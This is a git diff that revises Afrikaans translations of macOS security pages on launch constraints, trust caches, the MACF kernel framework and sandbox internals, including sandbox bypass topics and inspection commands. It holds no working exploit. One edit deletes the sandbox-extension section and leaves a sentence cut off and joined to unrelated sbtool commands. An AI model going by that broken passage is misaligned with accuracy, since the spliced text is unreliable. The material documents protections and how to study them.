**vertrou cache**, 'n lys wat stelselbinaries en hul onderskeie hashes bevat​. Hierdie beperkings strek uit na elke uitvoerbare binarie binne die stelsel, wat 'n stel **reëls** insluit wat die vereistes vir **die lancering van 'n spesifieke binarie** uiteensit. Die reëls sluit selfbeperkings in wat 'n binarie moet nakom, ouerbeperkings wat deur sy ouerproses nagekom moet word, en verantwoordelike beperkings wat deur ander relevante entiteite nagekom moet word​. -Die meganisme strek uit na derdeparty-apps deur **Omgewingbeperkings**, wat begin vanaf macOS Sonoma, wat ontwikkelaars toelaat om hul apps te beskerm deur 'n **stel sleutels en waardes vir omgewingbeperkings te spesifiseer.** +Die meganisme strek uit na derdeparty-apps deur middel van **Omgewingbeperkings**, wat begin vanaf macOS Sonoma, wat ontwikkelaars toelaat om hul apps te beskerm deur 'n **stel sleutels en waardes vir omgewingbeperkings te spesifiseer.** -Jy definieer **lanceringsomgewing en biblioteekbeperkings** in beperkingwoordeboeke wat jy of in **`launchd` eiendomlys lêers** stoor, of in **afsonderlike eiendomlys** lêers wat jy in kodeondertekening gebruik. +Jy definieer **lanceringsomgewing en biblioteekbeperkings** in beperkingwoordeboeke wat jy of in **`launchd` eiendomslys lêers** stoor, of in **afsonderlike eiendomslys** lêers wat jy in kodeondertekening gebruik. Daar is 4 tipes beperkings: - **Selfbeperkings**: Beperkings wat toegepas word op die **lopende** binarie. - **Ouerproses**: Beperkings wat toegepas word op die **ouer van die proses** (byvoorbeeld **`launchd`** wat 'n XP-diens uitvoer) - **Verantwoordelike Beperkings**: Beperkings wat toegepas word op die **proses wat die diens aanroep** in 'n XPC-kommunikasie -- **Biblioteeklaaibeperkings**: Gebruik biblioteeklaaibeperkings om selektief kode te beskryf wat gelaai kan word +- **Biblioteeklaai-beperkings**: Gebruik biblioteeklaai-beperkings om selektief kode te beskryf wat gelaai kan word So wanneer 'n proses probeer om 'n ander proses te lanseer — deur `execve(_:_:_:)` of `posix_spawn(_:_:_:_:_:_:)` aan te roep — kontroleer die bedryfstelsel dat die **uitvoerbare** lêer **voldoen** aan sy **eie selfbeperking**. Dit kontroleer ook dat die **ouer** **proses se** uitvoerbare **voldoen** aan die uitvoerbare se **ouerbeperking**, en dat die **verantwoordelike** **proses se** uitvoerbare **voldoen aan die uitvoerbare se verantwoordelike prosesbeperking**. As enige van hierdie lanceringsbeperkings nie nagekom word nie, sal die bedryfstelsel die program nie uitvoer nie. -As enige deel van die **biblioteekbeperking nie waar is nie** wanneer 'n biblioteek gelaai word, **laai jou proses nie** die biblioteek nie. +As enige deel van die **biblioteekbeperking nie waar is** wanneer 'n biblioteek gelaai word, **laai jou proses nie** die biblioteek nie. ## LC Categories @@ -29,14 +29,14 @@ Die[ **feite wat 'n LC kan gebruik is gedokumenteer**](https://developer.apple.c - is-init-proc: 'n Booleaanse waarde wat aandui of die uitvoerbare die bedryfstelsel se inisialisasieproses (`launchd`) moet wees. - is-sip-beskerm: 'n Booleaanse waarde wat aandui of die uitvoerbare 'n lêer moet wees wat deur Stelselintegriteitsbeskerming (SIP) beskerm word. -- `on-authorized-authapfs-volume:` 'n Booleaanse waarde wat aandui of die bedryfstelsel die uitvoerbare van 'n geautoriseerde, geverifieerde APFS-volume gelaai het. -- `on-authorized-authapfs-volume`: 'n Booleaanse waarde wat aandui of die bedryfstelsel die uitvoerbare van 'n geautoriseerde, geverifieerde APFS-volume gelaai het. +- `on-authorized-authapfs-volume:` 'n Booleaanse waarde wat aandui of die bedryfstelsel die uitvoerbare van 'n geverifieerde, geauthentiseerde APFS-volume gelaai het. +- `on-authorized-authapfs-volume`: 'n Booleaanse waarde wat aandui of die bedryfstelsel die uitvoerbare van 'n geverifieerde, geauthentiseerde APFS-volume gelaai het. - Cryptexes volume - `on-system-volume:` 'n Booleaanse waarde wat aandui of die bedryfstelsel die uitvoerbare van die tans-gestarte stelselmengsel gelaai het. - Binne /System... - ... -Wanneer 'n Apple binarie onderteken word, **ken dit dit aan 'n LC-kategorie toe** binne die **vertrou cache**. +Wanneer 'n Apple binarie onderteken word, **ken dit dit aan 'n LC-kategorie** binne die **vertrou cache** toe. - **iOS 16 LC-kategorieë** is [**omgekeer en hier gedokumenteer**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056). - Huidige **LC-kategorieë (macOS 14** - Somona) is omgekeer en hul [**beskrywings kan hier gevind word**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53). @@ -54,13 +54,13 @@ Parent Constraint: is-init-proc ### Omgekeerde LC Kategoriewe -Jy het meer inligting [**hieroor**](https://theevilbit.github.io/posts/launch_constraints_deep_dive/#reversing-constraints), maar basies, hulle is gedefinieer in **AMFI (AppleMobileFileIntegrity)**, so jy moet die Kernel Development Kit aflaai om die **KEXT** te verkry. Die simbole wat met **`kConstraintCategory`** begin, is die **interessante**. Deur hulle te onttrek, sal jy 'n DER (ASN.1) geënkodeerde stroom kry wat jy moet decodeer met [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) of die python-asn1 biblioteek en sy `dump.py` skrip, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) wat jou 'n meer verstaanbare string sal gee. +Jy het meer inligting [**hieroor**](https://theevilbit.github.io/posts/launch_constraints_deep_dive/#reversing-constraints), maar basies, hulle is gedefinieer in **AMFI (AppleMobileFileIntegrity)**, so jy moet die Kernel Ontwikkelingskit aflaai om die **KEXT** te kry. Die simbole wat met **`kConstraintCategory`** begin, is die **interessante**. Deur hulle uit te trek, sal jy 'n DER (ASN.1) geënkodeerde stroom kry wat jy moet dekodeer met [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) of die python-asn1 biblioteek en sy `dump.py` skrip, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) wat jou 'n meer verstaanbare string sal gee. ## Omgewing Beperkings -Dit is die Launch Beperkings wat in **derdeparty toepassings** geconfigureer is. Die ontwikkelaar kan die **feite** en **logiese operateurs wat gebruik moet word** in sy toepassing kies om die toegang tot homself te beperk. +Dit is die Launch Beperkings wat in **derdeparty toepassings** ingestel is. Die ontwikkelaar kan die **feite** en **logiese operateurs om te gebruik** in sy toepassing kies om die toegang tot homself te beperk. -Dit is moontlik om die Omgewing Beperkings van 'n toepassing te enumerate met: +Dit is moontlik om die Omgewing Beperkings van 'n toepassing te enumereer met: ```bash codesign -d -vvvv app.app ``` @@ -77,7 +77,7 @@ En in iOS lyk dit of dit in **`/usr/standalone/firmware/FUD/StaticTrustCache.img > [!WARNING] > Op macOS wat op Apple Silicon toestelle loop, sal AMFI weier om 'n Apple-onderteken binêre te laai as dit nie in die vertroue kas is nie. -### Opname van Vertroue Kaste +### Opnoem van Vertroue Kaste Die vorige vertroue kas lêers is in die formaat **IMG4** en **IM4P**, met IM4P die payload gedeelte van 'n IMG4 formaat. @@ -133,13 +133,13 @@ uint8_t constraintCategory; uint8_t reserved0; } __attribute__((__packed__)); ``` -Dan kan jy 'n skrif soos [**hierdie een**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) gebruik om data te onttrek. +Dan kan jy 'n skrip soos [**hierdie een**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) gebruik om data te onttrek. Van daardie data kan jy die Apps met 'n **launch constraints waarde van `0`** nagaan, wat diegene is wat nie beperk is nie ([**kyk hier**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) vir wat elke waarde is). ## Aanval Mitigasies -Launch Constrains sou verskeie ou aanvalle gemitigeer het deur **te verseker dat die proses nie in onverwagte toestande uitgevoer sal word nie:** Byvoorbeeld vanaf onverwagte plekke of deur 'n onverwagte ouer proses aangeroep word (as slegs launchd dit moet begin). +Launch Constrains sou verskeie ou aanvalle gemitigeer het deur **te verseker dat die proses nie in onverwagte toestande uitgevoer sal word nie:** Byvoorbeeld van onverwagte plekke of deur 'n onverwagte ouer proses aangeroep word (as slegs launchd dit moet begin). Boonop **mitigeer Launch Constraints ook afgraderingsaanvalle.** @@ -147,12 +147,12 @@ Egter, hulle **mitigeer nie algemene XPC** misbruik nie, **Electron** kode-inspu ### XPC Daemon Beskerming -In die Sonoma vrystelling is 'n noemenswaardige punt die daemon XPC diens se **verantwoordelikheid konfigurasie**. Die XPC diens is verantwoordelik vir homself, in teenstelling met die verbindende kliënt wat verantwoordelik is. Dit is gedokumenteer in die terugvoer verslag FB13206884. Hierdie opstelling mag gebrekkig voorkom, aangesien dit sekere interaksies met die XPC diens toelaat: +In die Sonoma vrystelling is 'n noemenswaardige punt die daemon XPC diens se **verantwoordelikheid konfigurasie**. Die XPC diens is verantwoordelik vir homself, in teenstelling met die verbindende kliënt wat verantwoordelik is. Dit is gedokumenteer in die terugvoer verslag FB13206884. Hierdie opstelling mag gebrekkig lyk, aangesien dit sekere interaksies met die XPC diens toelaat: -- **Die XPC Diens Begin**: As dit as 'n fout beskou word, laat hierdie opstelling nie toe om die XPC diens deur aanvallerskode te begin nie. -- **Verbinding met 'n Aktiewe Diens**: As die XPC diens reeds loop (moontlik geaktiveer deur sy oorspronklike toepassing), is daar geen hindernisse om met dit te verbind nie. +- **Die XPC Diens Begin**: As dit as 'n fout beskou word, laat hierdie opstelling nie toe om die XPC diens deur aanvaller kode te begin nie. +- **Verbinding met 'n Aktiewe Diens**: As die XPC diens reeds loop (miskien geaktiveer deur sy oorspronklike toepassing), is daar geen hindernisse om met dit te verbind nie. -Terwyl die implementering van beperkings op die XPC diens voordelig mag wees deur **die venster vir potensiële aanvalle te vernou**, adres dit nie die primêre bekommernis nie. Om die sekuriteit van die XPC diens te verseker, vereis fundamenteel **dat die verbindende kliënt effektief geverifieer word**. Dit bly die enigste metode om die diens se sekuriteit te versterk. Dit is ook die moeite werd om op te let dat die genoemde verantwoordelikheid konfigurasie tans operasioneel is, wat dalk nie ooreenstem met die beoogde ontwerp nie. +Terwyl die implementering van beperkings op die XPC diens voordelig mag wees deur **die venster vir potensiële aanvalle te vernou**, adres dit nie die primêre bekommernis nie. Om die sekuriteit van die XPC diens te verseker, vereis fundamenteel **om die verbindende kliënt effektief te valideer**. Dit bly die enigste metode om die diens se sekuriteit te versterk. Dit is ook die moeite werd om op te let dat die genoemde verantwoordelikheid konfigurasie tans operasioneel is, wat dalk nie ooreenstem met die beoogde ontwerp nie. ### Electron Beskerming diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md index 361c7931a..26070f8a5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md @@ -4,14 +4,14 @@ ## Basiese Inligting -**MACF** staan vir **Verpligte Toegang Beheer Raamwerk**, wat 'n sekuriteitstelsel is wat in die bedryfstelsel ingebou is om jou rekenaar te help beskerm. Dit werk deur **strenge reëls op te stel oor wie of wat sekere dele van die stelsel kan toegang,** soos lêers, toepassings en stelselhulpbronne. Deur hierdie reëls outomaties af te dwing, verseker MACF dat slegs gemagtigde gebruikers en prosesse spesifieke aksies kan uitvoer, wat die risiko van ongemagtigde toegang of kwaadwillige aktiwiteite verminder. +**MACF** staan vir **Verpligte Toegang Beheer Raamwerk**, wat 'n sekuriteitstelsel is wat in die bedryfstelsel ingebou is om jou rekenaar te help beskerm. Dit werk deur **strenge reëls op te stel oor wie of wat sekere dele van die stelsel kan toegang hê**, soos lêers, toepassings en stelselhulpbronne. Deur hierdie reëls outomaties af te dwing, verseker MACF dat slegs gemagtigde gebruikers en prosesse spesifieke aksies kan uitvoer, wat die risiko van ongemagtigde toegang of kwaadwillige aktiwiteite verminder. -Let daarop dat MACF nie werklik enige besluite neem nie, aangesien dit net **aksies onderskep**, dit laat die besluite aan die **beleidsmodules** (kernuitbreidings) wat dit aanroep soos `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext` en `mcxalr.kext`. +Let daarop dat MACF nie werklik enige besluite neem nie, aangesien dit net **aksies onderskep**, dit laat die besluite aan die **beleidsmodules** (kernel uitbreidings) wat dit aanroep soos `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext` en `mcxalr.kext`. ### Stroom 1. Proses voer 'n syscall/mach trap uit -2. Die relevante funksie word binne die kern aangeroep +2. Die relevante funksie word binne die kernel aangeroep 3. Funksie roep MACF aan 4. MACF kontroleer beleidsmodules wat versoek het om daardie funksie in hul beleid te haak 5. MACF roep die relevante beleids aan @@ -22,13 +22,13 @@ Let daarop dat MACF nie werklik enige besluite neem nie, aangesien dit net **aks ### Etikette -MACF gebruik **etikette** wat dan deur die beleide nagegaan word of hulle sekere toegang moet toestaan of nie. Die kode van die etikette struktuurdeklarasie kan [hier gevind word](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h), wat dan binne die **`struct ucred`** in [**hier**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) in die **`cr_label`** deel gebruik word. Die etiket bevat vlae en 'n aantal **slots** wat deur **MACF beleide gebruik kan word om wysigers toe te ken**. Byvoorbeeld, Sanbox sal na die houerprofiel verwys. +MACF gebruik **etikette** wat dan deur die beleide nagegaan word of hulle sekere toegang moet toestaan of nie. Die kode van die etikette struktuurdeklarasie kan [hier gevind word](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h), wat dan binne die **`struct ucred`** in [**hier**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) in die **`cr_label`** deel gebruik word. Die etiket bevat vlae en 'n aantal **slots** wat deur **MACF beleide gebruik kan word om wysers toe te ken**. Byvoorbeeld, Sanbox sal na die houerprofiel wys. ## MACF Beleide -'n MACF Beleid definieer **reëls en voorwaardes wat toegepas moet word in sekere kernoperasies**. +'n MACF Beleid definieer **reëls en voorwaardes wat in sekere kernel operasies toegepas moet word**. -'n Kernuitbreiding kan 'n `mac_policy_conf` struktuur konfigureer en dit dan registreer deur `mac_policy_register` aan te roep. Van [hier](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html): +'n Kernel uitbreiding kan 'n `mac_policy_conf` struktuur konfigureer en dit dan registreer deur `mac_policy_register` aan te roep. Van [hier](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html): ```c #define mpc_t struct mac_policy_conf * @@ -65,11 +65,11 @@ mpc_t mpc_list; /** List reference */ void *mpc_data; /** module data */ }; ``` -Dit is maklik om die kernuitbreidings wat hierdie beleide konfigureer te identifiseer deur oproepe na `mac_policy_register` te kontroleer. Boonop, deur die disassemblage van die uitbreiding te kontroleer, is dit ook moontlik om die gebruikte `mac_policy_conf` struktuur te vind. +Dit is maklik om die kernuitbreidings wat hierdie beleide konfigureer te identifiseer deur oproepe na `mac_policy_register` te kontroleer. Boonop, deur die disassemble van die uitbreiding te kontroleer, is dit ook moontlik om die gebruikte `mac_policy_conf` struktuur te vind. Let daarop dat MACF-beleide ook **dynamies** geregistreer en ongeregistreer kan word. -Een van die hoofvelde van die `mac_policy_conf` is die **`mpc_ops`**. Hierdie veld spesifiseer watter operasies die beleid belangstel. Let daarop dat daar honderde daarvan is, so dit is moontlik om al hulle op nul te stel en dan net diegene te kies waarin die beleid belangstel. Van [hier](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html): +Een van die hoofvelde van die `mac_policy_conf` is die **`mpc_ops`**. Hierdie veld spesifiseer watter operasies die beleid belangrik is. Let daarop dat daar honderde daarvan is, so dit is moontlik om al hulle op nul te stel en dan net diegene te kies waarin die beleid belangstel. Van [hier](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html): ```c struct mac_policy_ops { mpo_audit_check_postselect_t *mpo_audit_check_postselect; @@ -84,7 +84,7 @@ mpo_cred_check_label_update_t *mpo_cred_check_label_update; ``` Byna al die hooks sal deur MACF teruggeroep word wanneer een van daardie operasies geintercepteer word. egter, **`mpo_policy_*`** hooks is 'n uitsondering omdat `mpo_hook_policy_init()` 'n terugroep is wat tydens registrasie aangeroep word (so na `mac_policy_register()`) en `mpo_hook_policy_initbsd()` word tydens laat registrasie aangeroep sodra die BSD-substelsel behoorlik geinitialiseer is. -Boonop kan die **`mpo_policy_syscall`** hook deur enige kext geregistreer word om 'n private **ioctl** styl oproep **interface** bloot te stel. Dan sal 'n gebruikersklient in staat wees om `mac_syscall` (#381) aan te roep en die **beleid naam** met 'n heelgetal **kode** en opsionele **argumente** as parameters te spesifiseer.\ +Boonop kan die **`mpo_policy_syscall`** hook deur enige kext geregistreer word om 'n private **ioctl** styl oproep **interface** bloot te stel. Dan sal 'n gebruikersklient in staat wees om `mac_syscall` (#381) aan te roep en die **beleidsnaam** met 'n heelgetal **kode** en opsionele **argumente** as parameters te spesifiseer.\ Byvoorbeeld, die **`Sandbox.kext`** gebruik dit baie. Deur die kext se **`__DATA.__const*`** te kontroleer, is dit moontlik om die `mac_policy_ops` struktuur te identifiseer wat gebruik word wanneer die beleid geregistreer word. Dit is moontlik om dit te vind omdat sy pointer op 'n offset binne `mpo_policy_conf` is en ook omdat die hoeveelheid NULL pointers wat in daardie area sal wees. @@ -97,7 +97,7 @@ MACF word baie vroeg geinitialiseer. Dit word opgestel in XNU se `bootstrap_thre ## MACF Oproepe -Dit is algemeen om oproepe na MACF in kode te vind soos: **`#if CONFIG_MAC`** voorwaardelike blokke. Boonop is dit binne hierdie blokke moontlik om oproepe na `mac_proc_check*` te vind wat MACF aanroep om **toestemmings te kontroleer** om sekere aksies uit te voer. Boonop is die formaat van die MACF oproepe: **`mac___opName`**. +Dit is algemeen om oproepe na MACF te vind wat in kode gedefinieer is soos: **`#if CONFIG_MAC`** voorwaardelike blokke. Boonop is dit binne hierdie blokke moontlik om oproepe na `mac_proc_check*` te vind wat MACF aanroep om **toestemmings te kontroleer** om sekere aksies uit te voer. Boonop is die formaat van die MACF oproepe: **`mac___opName`**. Die objek is een van die volgende: `bpfdesc`, `cred`, `file`, `proc`, `vnode`, `mount`, `devfs`, `ifnet`, `inpcb`, `mbuf`, `ipq`, `pipe`, `sysv[msg/msq/shm/sem]`, `posix[shm/sem]`, `socket`, `kext`.\ Die `opType` is gewoonlik check wat gebruik sal word om die aksie toe te laat of te weier. Dit is egter ook moontlik om `notify` te vind, wat die kext sal toelaat om op die gegewe aksie te reageer. @@ -160,7 +160,7 @@ error = mac_error_select(__step_err, error); \ Wat al die geregistreerde mac-beleide sal deurgaan, hul funksies aanroep en die uitvoer binne die fout veranderlike stoor, wat slegs deur `mac_error_select` oorruilbaar sal wees deur sukses kodes, so as enige kontrole misluk, sal die volledige kontrole misluk en die aksie nie toegelaat word. > [!TIP] -> Onthou egter dat nie al MACF-aanroepings slegs gebruik word om aksies te weier nie. Byvoorbeeld, `mac_priv_grant` roep die makro [**MAC_GRANT**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L274) aan, wat die aangevraagde voorreg sal toeken as enige beleid met 'n 0 antwoord gee: +> Onthou egter dat nie alle MACF-aanroepings slegs gebruik word om aksies te weier nie. Byvoorbeeld, `mac_priv_grant` roep die makro [**MAC_GRANT**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L274) aan, wat die aangevraagde voorreg sal toeken as enige beleid met 'n 0 antwoord gee: > > ```c > /* @@ -188,7 +188,7 @@ Wat al die geregistreerde mac-beleide sal deurgaan, hul funksies aanroep en die ### priv_check & priv_grant Hierdie aanroepings is bedoel om (tens of) **voorregte** te kontroleer en te verskaf wat gedefinieer is in [**bsd/sys/priv.h**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/priv.h).\ -Sommige kernkode sou `priv_check_cred()` van [**bsd/kern/kern_priv.c**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_priv.c) aanroep met die KAuth akrediteer van die proses en een van die voorregte kode wat `mac_priv_check` sal aanroep om te sien of enige beleid die voorreg **weier** en dan roep dit `mac_priv_grant` aan om te sien of enige beleid die `voorreg` toeken. +Sommige kernkode sal `priv_check_cred()` van [**bsd/kern/kern_priv.c**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_priv.c) aanroep met die KAuth akrediteer van die proses en een van die voorregte kode wat `mac_priv_check` sal aanroep om te sien of enige beleid die voorreg **weier** en dan roep dit `mac_priv_grant` aan om te sien of enige beleid die `voorreg` toeken. ### proc_check_syscall_unix @@ -203,7 +203,7 @@ goto skip_syscall; } #endif /* CONFIG_MACF */ ``` -Wat die oproepende proses **bitmask** sal nagaan of die huidige syscall `mac_proc_check_syscall_unix` moet aanroep. Dit is omdat syscalls so gereeld aangeroep word dat dit interessant is om te probeer om `mac_proc_check_syscall_unix` nie elke keer aan te roep nie. +Wat die oproepende proses **bitmask** sal nagaan of die huidige syscall `mac_proc_check_syscall_unix` moet aanroep. Dit is omdat syscalls so gereeld aangeroep word dat dit interessant is om te vermy om `mac_proc_check_syscall_unix` elke keer aan te roep. Let daarop dat die funksie `proc_set_syscall_filter_mask()`, wat die bitmask syscalls in 'n proses stel, deur Sandbox aangeroep word om masks op gesandboksde prosesse te stel. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index 59905c9a7..a0f2d6135 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -30,7 +30,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler [...] ``` -Binne elke bundel-id gids kan jy die **plist** en die **Data directory** van die App vind met 'n struktuur wat die Huisgids naboots: +Binne elke bundel-id gids kan jy die **plist** en die **Data-gids** van die App vind met 'n struktuur wat die Huisgids naboots: ```bash cd /Users/username/Library/Containers/com.apple.Safari ls -la @@ -54,7 +54,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData drwx------ 2 username staff 64 Mar 24 18:02 tmp ``` > [!CAUTION] -> Let daarop dat selfs al is die simboliese skakels daar om te "ontsnap" uit die Sandbox en ander vouers te benader, moet die App steeds **toestemmings hê** om toegang daartoe te verkry. Hierdie toestemmings is binne die **`.plist`** in die `RedirectablePaths`. +> Let daarop dat selfs al is die simboliese skakels daar om te "ontsnap" uit die Sandbox en ander mappen te benader, moet die App steeds **toestemmings hê** om toegang daartoe te verkry. Hierdie toestemmings is binne die **`.plist`** in die `RedirectablePaths`. Die **`SandboxProfileData`** is die saamgestelde sandbox-profiel CFData wat na B64 ontsnap is. ```bash @@ -141,7 +141,7 @@ Belangrike **stelseldienste** loop ook binne hul eie pasgemaakte **sandbox** soo - **`/System/Library/Sandbox/Profiles`** - Ander sandbox profiele kan nagegaan word in [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). -**App Store** programme gebruik die **profiel** **`/System/Library/Sandbox/Profiles/application.sb`**. Jy kan in hierdie profiel kyk hoe regte soos **`com.apple.security.network.server`** 'n proses toelaat om die netwerk te gebruik. +**App Store** toepassings gebruik die **profiel** **`/System/Library/Sandbox/Profiles/application.sb`**. Jy kan in hierdie profiel kyk hoe regte soos **`com.apple.security.network.server`** 'n proses toelaat om die netwerk te gebruik. Dan gebruik sommige **Apple daemon dienste** verskillende profiele wat geleë is in `/System/Library/Sandbox/Profiles/*.sb` of `/usr/share/sandbox/*.sb`. Hierdie sandboxes word toegepas in die hooffunksie wat die API `sandbox_init_XXX` aanroep. @@ -149,7 +149,7 @@ Dan gebruik sommige **Apple daemon dienste** verskillende profiele wat geleë is ### Sandbox Profiel Voorbeelde -Om 'n toepassing met 'n **spesifieke sandbox profiel** te begin, kan jy gebruik: +Om 'n toepassing met 'n **spesifieke sandbox profiel** te begin, kan jy gebruik maak van: ```bash sandbox-exec -f example.sb /Path/To/The/Application ``` @@ -259,13 +259,13 @@ Dit sal **eval die string na hierdie regte** as 'n Sandbox-profiel. Die **`sandbox-exec`** hulpmiddel gebruik die funksies `sandbox_compile_*` van `libsandbox.dylib`. Die hooffunksies wat uitgevoer word, is: `sandbox_compile_file` (verwag 'n lêer pad, param `-f`), `sandbox_compile_string` (verwag 'n string, param `-p`), `sandbox_compile_name` (verwag 'n naam van 'n houer, param `-n`), `sandbox_compile_entitlements` (verwag regte plist). -Hierdie omgekeerde en [**oopbron weergawe van die hulpmiddel sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c) maak dit moontlik om **`sandbox-exec`** in 'n lêer die gecompileerde sandbox-profiel te skryf. +Hierdie omgekeerde en [**oopbron weergawe van die hulpmiddel sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c) laat toe dat **`sandbox-exec`** in 'n lêer die gecompileerde sandbox-profiel skryf. Boonop, om 'n proses binne 'n houer te beperk, kan dit `sandbox_spawnattrs_set[container/profilename]` aanroep en 'n houer of voorafbestaande profiel deurgee. ## Foutopsporing & Omseiling van Sandbox -Op macOS, anders as iOS waar prosesse vanaf die begin deur die kern in 'n sandbox geplaas word, **moet prosesse self in die sandbox optree**. Dit beteken op macOS, 'n proses is nie deur die sandbox beperk totdat dit aktief besluit om daarin te gaan nie, alhoewel App Store-apps altyd in 'n sandbox is. +Op macOS, anders as iOS waar prosesse vanaf die begin deur die kern in 'n sandbox geplaas word, **moet prosesse self in die sandbox optree**. Dit beteken op macOS, 'n proses is nie deur die sandbox beperk totdat dit aktief besluit om daarin te gaan, alhoewel App Store-apps altyd in 'n sandbox is. Prosesse word outomaties in 'n sandbox geplaas vanaf die gebruikersvlak wanneer hulle begin as hulle die regte het: `com.apple.security.app-sandbox`. Vir 'n gedetailleerde verduideliking van hierdie proses, kyk: @@ -275,28 +275,7 @@ macos-sandbox-debug-and-bypass/ ## **Sandbox-uitbreidings** -Uitbreidings laat toe om verdere voorregte aan 'n objek te gee en word verkry deur een van die funksies aan te roep: - -- `sandbox_issue_extension` -- `sandbox_extension_issue_file[_with_new_type]` -- `sandbox_extension_issue_mach` -- `sandbox_extension_issue_iokit_user_client_class` -- `sandbox_extension_issue_iokit_registry_rentry_class` -- `sandbox_extension_issue_generic` -- `sandbox_extension_issue_posix_ipc` - -Die uitbreidings word in die tweede MACF etiketgleuf gestoor wat toeganklik is vanaf die proses se geloofsbriewe. Die volgende **`sbtool`** kan hierdie inligting benader. - -Let daarop dat uitbreidings gewoonlik toegeken word deur toegelate prosesse, byvoorbeeld, `tccd` sal die uitbreidings-token van `com.apple.tcc.kTCCServicePhotos` toeken wanneer 'n proses probeer het om toegang tot die foto's te verkry en in 'n XPC-boodskap toegelaat is. Dan sal die proses die uitbreidings-token moet verbruik sodat dit daaraan bygevoeg word.\ -Let daarop dat die uitbreidings-token lang heksadesimale is wat die toegekende toestemmings kodeer. Hulle het egter nie die toegelate PID hardgecodeer nie, wat beteken dat enige proses met toegang tot die token **deur verskeie prosesse verbruik kan word**. - -Let daarop dat uitbreidings baie verwant is aan regte, so om sekere regte te hê, kan outomaties sekere uitbreidings toeken. - -### **Kontroleer PID Voorregte** - -[**Volgens hierdie**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s), kan die **`sandbox_check`** funksies (dit is 'n `__mac_syscall`), **kontroleer of 'n operasie toegelaat word of nie** deur die sandbox in 'n sekere PID, oudit-token of unieke ID. - -Die [**hulpmiddel sbtool**](http://newosxbook.com/src.jl?tree=listings&file=sbtool.c) (vind dit [gecompileer hier](https://newosxbook.com/articles/hitsb.html)) kan kontroleer of 'n PID sekere aksies kan uitvoer: +Uitbreidings laat toe om verdere voorregte aan 'n objek te gee en word verkry deur een van die funksies aan te ```bash sbtool mach #Check mac-ports (got from launchd with an api) sbtool file /tmp #Check file access @@ -305,7 +284,7 @@ sbtool all ``` ### \[un]suspend -Dit is ook moontlik om die sandbox te suspend en unsuspend met die funksies `sandbox_suspend` en `sandbox_unsuspend` van `libsystem_sandbox.dylib`. +Dit is ook moontlik om die sandbox te suspend en te unsuspend met die funksies `sandbox_suspend` en `sandbox_unsuspend` van `libsystem_sandbox.dylib`. Let daarop dat om die suspend-funksie aan te roep, sommige regte nagegaan word om die oproeper te magtig om dit aan te roep soos: @@ -315,9 +294,9 @@ Let daarop dat om die suspend-funksie aan te roep, sommige regte nagegaan word o ## mac_syscall -Hierdie stelselsoproep (#381) verwag een string eerste argument wat die module sal aandui om te loop, en dan 'n kode in die tweede argument wat die funksie sal aandui om te loop. Dan sal die derde argument afhang van die funksie wat uitgevoer word. +Hierdie stelselskakel (#381) verwag een string eerste argument wat die module sal aandui om te loop, en dan 'n kode in die tweede argument wat die funksie sal aandui om te loop. Dan sal die derde argument afhang van die funksie wat uitgevoer word. -Die funksie `___sandbox_ms` oproep omhul `mac_syscall` wat in die eerste argument `"Sandbox"` aandui, net soos `___sandbox_msp` 'n omhulsel 